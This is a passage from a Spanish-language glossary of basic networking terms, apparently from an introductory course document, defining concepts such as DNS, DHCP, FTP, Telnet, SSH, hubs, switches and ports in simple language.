  • 130. 8. GlosarioInternet:Es un conjunto de redes unidas entre sí, que se intercomunican entre ellas para unirtodos los nodos.Shell:Se le llama así a la pantalla que permite la utilización del ordenador sin interfaz gráfica,únicamente a través de comandos.Hacker:Es una persona la cual aprovecha vulnerabilidades o explota sistemas informáticos paraver la información o copiarla y con el fin de beneficiarse a sí mismo.Red:Es un conjunto de ordenadores, la cual están conectadas entre sí mediante cables oseñales, para un fin de compartir datos e información.Capas OSI:Las capas de la OSI son un estándar que utilizan todos los ordenadores para poderenviar los datos de una forma y que el que lo reciba pueda descifrarla de esa mismaforma.Servidor:Es un ordenador con más recursos de lo normal, que sirve para dar servicios a otrosordenadores, como por ejemplo dar un servicio web, una base de datos, etc…DNS :El dns es un protocolo que se encarga de traducir los nombres de dominio, en su ip .“Dicho de forma sencilla, el DNS sería un listín telefónico en el que buscando elapellido de una persona (Domaulas.es) obtenemos su número de teléfono(89.248.106.100).”DHCP:Es un protocolo encargado de enviar ip’s a los ordenadores automáticamente desde unrango asignado. Conforme los ordenadores van enviando peticiones para recibir una ip,el protocolo envía las ip’s del rango establecido.FTP:Es un protocolo encargado para la transferencia de archivos. La cual existen diferentesformas de usarla, cómo web o con programas como Filezilla. 130
  • 131. Telnet:Es un protocolo de red orientado a conexión para acceder a otra máquina y así podertener el control de la máquina.SSH:Es un protocolo muy parecido al telnet, pero seguro, la información de este viajaencriptado de forma que si algún sniifer captura estos paquetes no podrá descifrar lainformación que viaja dentro de ellos. Además, existen programas con interfaz gráficaque te permiten la transferencia de archivos mediante este protocolo.Hub:Es un dispositivo que permite dividir las entradas de red para así conectar másordenadores en una red. Según las bocas que tenga el Hub. Y retransmite todos lospaquetes a todos los ordenadores conectadosSwitch:Es un dispositivo muy parecido al hub pero más “inteligente” , a diferencia del Hub lospaquetes que recibe los envía al destinatario únicamente.Puerto:Es una interfaz la cual divide los tipos de datos según los protocolos.Unix:Es un sistema operativo bastante antiguo, del cual se han basado muchos de los sistemasoperativos que hay ahora.Cable cruzado:Es un cable de red con entradas Ethernet el cual permite conectar dos ordenadores sinningún dispositivo por medio.Bugs:Es un fallo o error de programación en un sistema o programa que puede seraprovechado por hackers 131
  • 132. 132